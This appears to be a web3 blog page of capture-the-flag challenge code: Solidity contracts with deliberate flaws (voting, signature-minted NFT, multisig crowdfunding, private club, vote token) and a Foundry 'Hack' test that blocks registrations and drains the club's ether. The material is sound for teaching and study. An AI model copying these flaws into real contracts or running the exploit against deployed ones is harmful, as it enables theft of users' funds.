20 posts tagged with "web3"

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import {Voting} from "./Voting.sol";

contract Setup {
    Voting public immutable TARGET;

    constructor() payable {
        require(msg.value == 1 ether);
        TARGET = new Voting();
    }

    function isSolved() public view returns (bool) {
        return (TARGET.WinningParty() == bytes3("UNZ"));
    }
}

// Decompiled by library.dedaub.com
// 2023.07.14 14:16 UTC
// Compiled using the solidity compiler version 0.8.20


// Data structures and variables inferred from the use of storage instructions
uint256 stor_0; // STORAGE[0x0]
uint256 stor_1; // STORAGE[0x1]
uint256 stor_2; // STORAGE[0x2]
mapping (uint256 => uint256) owner; // STORAGE[0x3]
mapping (uint256 => uint256) map_4; // STORAGE[0x4]



function 0xf163fff9(bytes3 varg0, bytes4 varg1, bytes3 varg2) public nonPayable { 
    require(~3 + msg.data.length >= 96);
    require(!(varg0 - varg0));
    require(!(varg1 - varg1));
    require(!(varg2 - varg2));
    require(!bool(!map_4[bytes3(varg0)]), Error("Party doesn't exist!"));
    v0 = v1 = varg2 >> 232;
    if (1 == (varg1 >> 224 == stor_1)) {
        owner[msg.sender] = 0;
        goto 0x203;
    } else {
        v0 = v2 = 1;
    }
    require(!bool(uint8(owner[msg.sender])), Error('Already voted!'));
    map_4[varg0] = map_4[varg0] + uint24(v0);
    owner[msg.sender] = 1;
    if (stor_2 <= map_4[varg0]) {
        stor_0 = varg0;
        emit 0xba098fd59af30ed214753aea9c85711148ca596d1eda2b08605bab9bc5d22d86(varg0, 'won the Elections');
        goto 0x5ce;
    }
}

function 0xb5b8f5bd(bytes3 varg0) public nonPayable { 
    require(~3 + msg.data.length >= 32);
    require(!(varg0 - varg0));
    return map_4[varg0];
}

function 0xaadd1d04(bytes3 varg0) public nonPayable { 
    require(~3 + msg.data.length >= 32);
    require(!(varg0 - varg0));
    if (stor_2 <= map_4[varg0]) {
        stor_0 = varg0;
        emit 0xba098fd59af30ed214753aea9c85711148ca596d1eda2b08605bab9bc5d22d86(varg0, 'won the Elections');
        goto 0x5ad;
    }
}

function 0x86de6970() public nonPayable { 
    require(~3 + msg.data.length >= 0);
    return stor_2;
}

function 0x2a58bee1(address varg0) public nonPayable { 
    require(~3 + msg.data.length >= 32);
    require(!(varg0 - varg0));
    return bool(uint8(owner[address(varg0)]));
}

function 0x1ee7b2d7() public nonPayable { 
    require(msg.data.length + ~3 >= 0);
    return stor_0;
}

// Note: The function selector is not present in the original solidity code.
// However, we display it for the sake of completeness.

function __function_selector__(bytes4 function_selector) public payable { 
    MEM[64] = 128;
    require(msg.data.length >= 4);
    if (0x1ee7b2d7 == function_selector >> 224) {
        0x1ee7b2d7();
    } else if (0x2a58bee1 == function_selector >> 224) {
        0x2a58bee1();
    } else if (0x86de6970 == function_selector >> 224) {
        0x86de6970();
    } else if (0xaadd1d04 == function_selector >> 224) {
        0xaadd1d04();
    } else if (0xb5b8f5bd == function_selector >> 224) {
        0xb5b8f5bd();
    } else {
        require(0xf163fff9 == function_selector >> 224);
        0xf163fff9();
    }
}

    if (1 == (varg1 >> 224 == stor_1)) {
        owner[msg.sender] = 0;
        goto 0x203;
    } else {
        v0 = v2 = 1;
    }

// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.0;

contract GetData {
    constructor() public {
    }

    function getData(bytes3 varg0, bytes4 varg1, bytes3 varg2) public view returns (bytes memory){
        return abi.encodeWithSignature("publicVote(bytes3,bytes4,bytes3)", varg0, varg1, varg2);
    }
}

// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.19;

import {AccessToken} from "./AccessToken.sol";

contract Setup {
    AccessToken public immutable TARGET;

    constructor(address _owner, bytes memory signature) {
        TARGET = new AccessToken(_owner);

        // Secure 1 AccessToken for myself
        TARGET.safeMintWithSignature(signature, address(this));
    }

    function isSolved(address _player) public view returns (bool) {
        return TARGET.balanceOf(_player) > 0;
    }
}

// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.19;

import {ERC721} from "./lib/ERC721.sol";
import {Owned} from "./lib/Owned.sol";

contract AccessToken is ERC721, Owned {
    uint256 public currentSupply;
    bytes[] public usedSignatures;

    bytes32 public constant approvalHash = 0x4ed1c9f7e3813196653ad7c62857a519087860f86aff4bc7766c8af8756a72ba;

    constructor(address _owner) Owned(_owner) ERC721("AccessToken", "ACT") {}

    function safeMint(address to) public onlyOwner returns (uint256) {
        return _safeMintInternal(to);
    }

    function safeMintWithSignature(bytes memory signature, address to) external returns (uint256) {
        require(_verifySignature(signature), "Not approved");
        require(!_isSignatureUsed(signature), "Signature already used");

        usedSignatures.push(signature);

        return _safeMintInternal(to);
    }

    function _verifySignature(bytes memory signature) internal view returns (bool) {
        (uint8 v, bytes32 r, bytes32 s) = deconstructSignature(signature);
        address signer = ecrecover(approvalHash, v, r, s);

        return signer == owner;
    }

    function _isSignatureUsed(bytes memory _signature) internal view returns (bool) {
        for (uint256 i = 0; i < usedSignatures.length; i++) {
            if (keccak256(_signature) == keccak256(usedSignatures[i])) {
                return true;
            }
        }
        return false;
    }

    function _safeMintInternal(address to) internal returns (uint256) {
        currentSupply += 1;
        _safeMint(to, currentSupply);
        return currentSupply;
    }

    // ##### Signature helper utilities

    // utility function to deconstruct a signature returning (v, r, s)
    function deconstructSignature(bytes memory signature) public pure returns (uint8, bytes32, bytes32) {
        bytes32 r;
        bytes32 s;
        uint8 v;
        // ecrecover takes the signature parameters, and the only way to get them
        // currently is to use assembly.
        /// @solidity memory-safe-assembly
        assembly {
            r := mload(add(signature, 0x20))
            s := mload(add(signature, 0x40))
            v := byte(0, mload(add(signature, 0x60)))
        }
        return (v, r, s);
    }

    function constructSignature(uint8 v, bytes32 r, bytes32 s) public pure returns (bytes memory) {
        return abi.encodePacked(r, s, v);
    }
}

    function safeMintWithSignature(bytes memory signature, address to) external returns (uint256) {
        require(_verifySignature(signature), "Not approved");
        require(!_isSignatureUsed(signature), "Signature already used");

        usedSignatures.push(signature);

        return _safeMintInternal(to);
    }

    function _verifySignature(bytes memory signature) internal view returns (bool) {
        (uint8 v, bytes32 r, bytes32 s) = deconstructSignature(signature);
        address signer = ecrecover(approvalHash, v, r, s);

        return signer == owner;
    }

// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.18;

import {Crowdfunding} from "./Campaign.sol";
import {CouncilWallet} from "./Campaign.sol";

contract Setup {
    Crowdfunding public immutable TARGET;
    CouncilWallet public immutable WALLET;

    constructor() payable {
        // Generate the councilMember array
        // which contains the addresses of the council members that control the multi sig wallet.
        address[] memory councilMembers = new address[](11);
        for (uint256 i = 0; i < 11; i++) {
            councilMembers[i] = address(uint160(i));
        }

        WALLET = new CouncilWallet(councilMembers);
        TARGET = new Crowdfunding(address(WALLET));

        // Transfer enough funds to reach the campaing's goal.
        (bool success,) = address(TARGET).call{value: 1100 ether}("");
        require(success, "Transfer failed");
    }

    function isSolved() public view returns (bool) {
        return address(TARGET).balance == 0;
    }
}

// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.18;

import {ECDSA} from "./lib/ECDSA.sol";

/// @notice MultiSignature wallet used to end the Crowdfunding and transfer the funds to a desired address
contract CouncilWallet {
    using ECDSA for bytes32;

    address[] public councilMembers;

    /// @notice Register the 11 council members in the wallet
    constructor(address[] memory members) {
        require(members.length == 11);
        councilMembers = members;
    }

    /// @notice Function to close crowdfunding campaign. If at least 6 council members have signed, it ends the campaign and transfers the funds to `to` address
    function closeCampaign(bytes[] memory signatures, address to, address payable crowdfundingContract) public {
        address[] memory voters = new address[](6);
        bytes32 data = keccak256(abi.encode(to));

        for (uint256 i = 0; i < signatures.length; i++) {
            // Get signer address
            address signer = data.toEthSignedMessageHash().recover(signatures[i]);

            // Ensure that signer is part of Council and has not already signed
            require(signer != address(0), "Invalid signature");
            require(_contains(councilMembers, signer), "Not council member");
            require(!_contains(voters, signer), "Duplicate signature");

            // Keep track of addresses that have already signed
            voters[i] = signer;
            // 6 signatures are enough to proceed with `closeCampaign` execution
            if (i > 5) {
                break;
            }
        }

        Crowdfunding(crowdfundingContract).closeCampaign(to);
    }

    /// @notice Returns `true` if the `_address` exists in the address array `_array`, `false` otherwise
    function _contains(address[] memory _array, address _address) private pure returns (bool) {
        for (uint256 i = 0; i < _array.length; i++) {
            if (_array[i] == _address) {
                return true;
            }
        }
        return false;
    }
}

contract Crowdfunding {
    address owner;

    uint256 public constant TARGET_FUNDS = 1000 ether;

    constructor(address _multisigWallet) {
        owner = _multisigWallet;
    }

    receive() external payable {}

    function donate() external payable {}

    /// @notice Delete contract and transfer funds to specified address. Can only be called by owner
    function closeCampaign(address to) public {
        require(msg.sender == owner, "Only owner");
        selfdestruct(payable(to));
    }
}

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "openzeppelin-contracts/contracts/access/Ownable.sol";
import "openzeppelin-contracts/contracts/security/ReentrancyGuard.sol";

contract PrivateClub is ReentrancyGuard, Ownable {
    uint private registerEndDate;
    event setRegEndDate(uint registerEndDate);
    event memberWithdrawevent(address member, address to, uint amount);
    address[] public members_;
    mapping(address => bool) public members;

    receive() external payable {}

    uint public membersCount;

    function setRegisterEndDate(uint _newRegisterEndDate) external onlyOwner {
        registerEndDate = _newRegisterEndDate;
        emit setRegEndDate(registerEndDate);
    }

    function becomeMember(
        address[] calldata _members
    ) external payable nonReentrant {
        require(block.timestamp < registerEndDate, "registration closed");
        require(_members.length == membersCount, "wrong members length");
        require(msg.value == membersCount * 1 ether, "need more ethers");
        for (uint i = 0; i < _members.length; i++) {
            _members[i].call{value: 1 ether}("");
        }
        membersCount += 1;
        members[msg.sender] = true;
        members_.push(msg.sender);
    }

    modifier onlyMember() {
        bool member;
        for (uint i = 0; i < membersCount; i++) {
            if (members_[i] == msg.sender) {
                member = true;
            }
        }

        require(member == true, "you are not a member");
        _;
    }

    function adminWithdraw(address to, uint amount) external onlyOwner {
        payable(to).call{value: amount}("");
    }

    function addMemberByAdmin(address newMember) external onlyOwner {
        membersCount += 1;
        members[newMember] = true;
        members_.push(newMember);
    }

    function buyAdminRole(address newAdmin) external payable onlyMember {
        require(msg.value == 10 ether, "need 10 ethers");
        _transferOwnership(newAdmin);
    }
}

    function becomeMember(
        address[] calldata _members
    ) external payable nonReentrant {
        require(block.timestamp < registerEndDate, "registration closed");
        require(_members.length == membersCount, "wrong members length");
        require(msg.value == membersCount * 1 ether, "need more ethers");
        for (uint i = 0; i < _members.length; i++) {
            _members[i].call{value: 1 ether}("");
        }
        membersCount += 1;
        members[msg.sender] = true;
        members_.push(msg.sender);
    }

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import "../src/PrivateClub.sol";

contract Hack is Test {
    address[] public members_;
    PrivateClub club;

    address clubAdmin = makeAddr("clubAdmin");
    address adminFriend = makeAddr("adminFriend");
    address user2 = makeAddr("user2");
    address user3 = makeAddr("user3");
    address user4 = makeAddr("user4");
    address hacker = makeAddr("hacker");
    uint blockGasLimit = 120000;

    function setUp() public {
        vm.deal(clubAdmin, 100 ether);
        vm.deal(hacker, 10 ether);
        vm.deal(user2, 10 ether);
        vm.deal(user3, 10 ether);
        vm.deal(user4, 10 ether);
        vm.startPrank(clubAdmin);
        club = new PrivateClub();
        club.setRegisterEndDate(block.timestamp + 5 days);
        club.addMemberByAdmin(adminFriend);
        address(club).call{value: 100 ether}("");
        vm.stopPrank();
        vm.startPrank(user2);
        address[] memory mForUser2 = new address[](1);
        mForUser2[0] = adminFriend;
        club.becomeMember{value: 1 ether}(mForUser2);
        vm.stopPrank();
        vm.startPrank(user3);
        address[] memory mForUser3 = new address[](2);
        mForUser3[0] = adminFriend;
        mForUser3[1] = user2;
        club.becomeMember{value: 2 ether}(mForUser3);
        vm.stopPrank();
    }

    function test_attack() public {
        vm.startPrank(hacker);
        // task1: become member of the club and
        // block future registrations (reason: out of gas - block gas limit)
        // solution:

        uint membersCount = club.membersCount();
        for(uint i = 0; i < membersCount; ++i){
            members_.push(hacker);
        }

        while(true){
            (bool success, bytes memory ret) = address(club).call{value: members_.length * 1 ether, gas: blockGasLimit}(
                abi.encodeWithSignature(
                        "becomeMember(address[])", members_
                )
            );    
            if(!success){
                break;
            }
           
            membersCount = club.membersCount();
            for(uint i = members_.length; i < membersCount; ++i){
                members_.push(hacker);
            }
            
        }


        vm.stopPrank();
        // check - hacker is member
        assertTrue(club.members(hacker));


        // check - user4 can not become member - blockGasLimit
        vm.startPrank(user4);
        address[] memory mForUser4 = new address[](club.membersCount());
        for (uint i = 0; i < club.membersCount(); i++) {
            mForUser4[i] = club.members_(i);
        }
        uint etherAmount = mForUser4.length * 1 ether;
        uint gasleftbeforeTxStart = gasleft();
        club.becomeMember{value: etherAmount}(mForUser4);
        uint gasleftAfterTxStart = gasleft();

        assertGt(gasleftbeforeTxStart - gasleftAfterTxStart, blockGasLimit);
        vm.stopPrank();


        vm.startPrank(hacker);
        // task2: buy admin role and withdraw all ether from the club
        // solution:

        club.buyAdminRole{value: 10 ether}(hacker);
        club.adminWithdraw(hacker, address(club).balance);
        // check - hacker is owner of club
        assertEq(club.owner(), hacker);
        assertGt(hacker.balance, 110000000000000000000 - 1);
    }
}

pragma solidity 0.8.12;

import "@openzeppelin-contracts/contracts/token/ERC20/ERC20.sol";

contract VoteToken is ERC20("Vote Token", "vToken") {

    address public owner;

    modifier onlyOwner() {
        require(owner == msg.sender);
        _;
    }

    constructor() {
        owner = msg.sender;
    }

    function mint(address _to, uint256 _amount) public onlyOwner {
        _mint(_to, _amount);
        _moveDelegates(address(0), _delegates[_to], _amount);
    }

    function burn(address _from, uint256 _amount) public onlyOwner {
        _burn(_from, _amount);
        _moveDelegates(_delegates[_from], address(0), _amount);
    }


    mapping(address => address) internal _delegates;

    struct Checkpoint {
        uint32 fromBlock;
        uint256 votes;
    }


    function _moveDelegates(address from, address to, uint256 amount) internal {
        if (from != to && amount > 0) {
            if (from != address(0)) {
                uint32 fromNum = numCheckpoints[from];
                uint256 fromOld = fromNum > 0 ? checkpoints[from][fromNum - 1].votes : 0;
                uint256 fromNew = fromOld - amount;
                _writeCheckpoint(from, fromNum, fromOld, fromNew);
            }

            if (to != address(0)) {
                uint32 toNum = numCheckpoints[to];
                uint256 toOld = toNum > 0 ? checkpoints[to][toNum - 1].votes : 0;
                uint256 toNew = toOld + amount;
                _writeCheckpoint(to, toNum, toOld, toNew);
            }
        }
    }

    mapping(address => mapping(uint32 => Checkpoint)) public checkpoints;
    mapping(address => uint32) public numCheckpoints;

    function delegates(address _addr) external view returns (address) {
        return _delegates[_addr];
    }

    function delegate(address _addr) external {
        return _delegate(msg.sender, _addr);
    }


    function getVotes(address _addr) external view returns (uint256) {
        uint32 nCheckpoints = numCheckpoints[_addr];
        return nCheckpoints > 0 ? checkpoints[_addr][nCheckpoints - 1].votes : 0;
    }

    function _delegate(address _addr, address delegatee) internal {
        address currentDelegate = _delegates[_addr];
        uint256 _addrBalance = balanceOf(_addr);
        _delegates[_addr] = delegatee;
        _moveDelegates(currentDelegate, delegatee, _addrBalance);
    }


    function _writeCheckpoint(address delegatee, uint32 nCheckpoints, uint256 oldVotes, uint256 newVotes) internal {
        uint32 blockNumber = uint32(block.number);

        if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) {
            checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
        } else {
            checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes);
            numCheckpoints[delegatee] = nCheckpoints + 1;
        }
    }
}